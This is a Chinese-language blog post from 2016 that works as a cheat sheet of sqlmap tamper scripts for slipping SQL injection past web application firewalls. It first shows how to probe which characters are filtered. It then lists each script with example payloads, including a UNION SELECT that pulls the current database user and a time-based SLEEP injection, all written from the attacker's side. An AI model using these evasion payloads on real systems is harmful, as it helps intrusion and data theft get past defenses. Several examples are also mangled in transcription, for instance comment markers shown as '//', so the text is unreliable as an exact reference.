sql注入之tamper绕过WAF防火墙


### 现象:


当我们注入的时候,发现有狗,有waf,真的是我的小心脏都碎掉了!!但是呢,很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过。利用sqlmap中的tamper给我们带来了很多防过滤的脚本绕过。


提示“输入内容存在危险字符,已经被拦截”

提示“请不要尝试在参数中包含非法字符尝试注入”


### 判断我们使用那种脚本


    1,id=1空格      测试空格
    2,id=1%201=1     测试等号
    3,id=1%201=1 select 测试select
    ......

### 字符被过滤了,使用的py

1,空格被过滤了---->[space2commnet.py]()

    * Input: SELECT id FROM users
    * Output: SELECT//id//FROM/**/users


   空格被过滤了----->[space2bash.py]()
 
   空格被过滤了----->[space2morebash.py]()---->#代替
    
   空格被过滤了----->[space2plus.py]()------+代替

2, 单引号被过滤了--->[apostrophemask.py]()---->utf_8代替引号

双引号绕过---->[apostrophenullencode.py]()

    Example:
    tamper("1 AND '1'='1")
    '1 AND %00%271%00%27=%00%271'

3,等号被过滤了----->[equaltolike.py]()------>like代替等号

    Example:
    * Input: SELECT * FROM users WHERE id=1
    * Output: SELECT * FROM users WHERE id LIKE 1

4,>被过滤了------>[greatest.py]()-------->用GREATEST代替

    Example:
    ('1 AND A > B')
    '1 AND GREATEST(A,B+1)=A'

   ------->[between.py]()

    Example: 
    ('1 AND A > B--') 
    '1 AND A NOT BETWEEN 0 AND B--'

5,双引号,替换字符和双引号被过滤--->[apostrophenullencode.py]()

    Example:
    ("1 AND '1'='1")
    '1 AND %00%271%00%27=%00%271'

6,数据库是mysql时--->[halfversionedmorekeywords.py]()

    

6,加载零字节字符----->[appendnullbyte.py]()

    Example: ('1 AND 1=1') '1 AND 1=1%00'

url编码转换------>[charencode.py]()

    Example:
    * Input: SELECT FIELD FROM%20TABLE
    * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

字符串 unicode 编码绕过--->[charunicodeencode.py]()

    Example:
    * Input: SELECT FIELD%20FROM TABLE
    * Output:%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046

大小写的转换----->[randomcase.py]()

    Input: INSERT
    Output: InsERt

宽字符绕过---->[unmagicquotes.py]()

    Example:
    * Input: 1′ AND 1=1
    * Output: 1%bf%27 AND 1=1–%20

用/**/分割sql关键字--->[randomcomments.py]()

    Example:
    ‘INSERT’ becomes ‘IN//S//ERT’

关键字前加注释绕过---->[versionedmorekeywords.py]()

    Example:
    * Input: 1 UNION ALL SELECT NULL, NULL,
    CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS
    CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
    * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*
    /(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

用base64绕过

    Example:
    ("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='

这里有两份汇总的文件,大家需要的可以下载一下。





后期会继续添加的,有错误或者更好的,可以留言,大家相互学习!!

posted @ 2016-07-31 21:24 lazy1 阅读(...) 评论(...) 编辑 收藏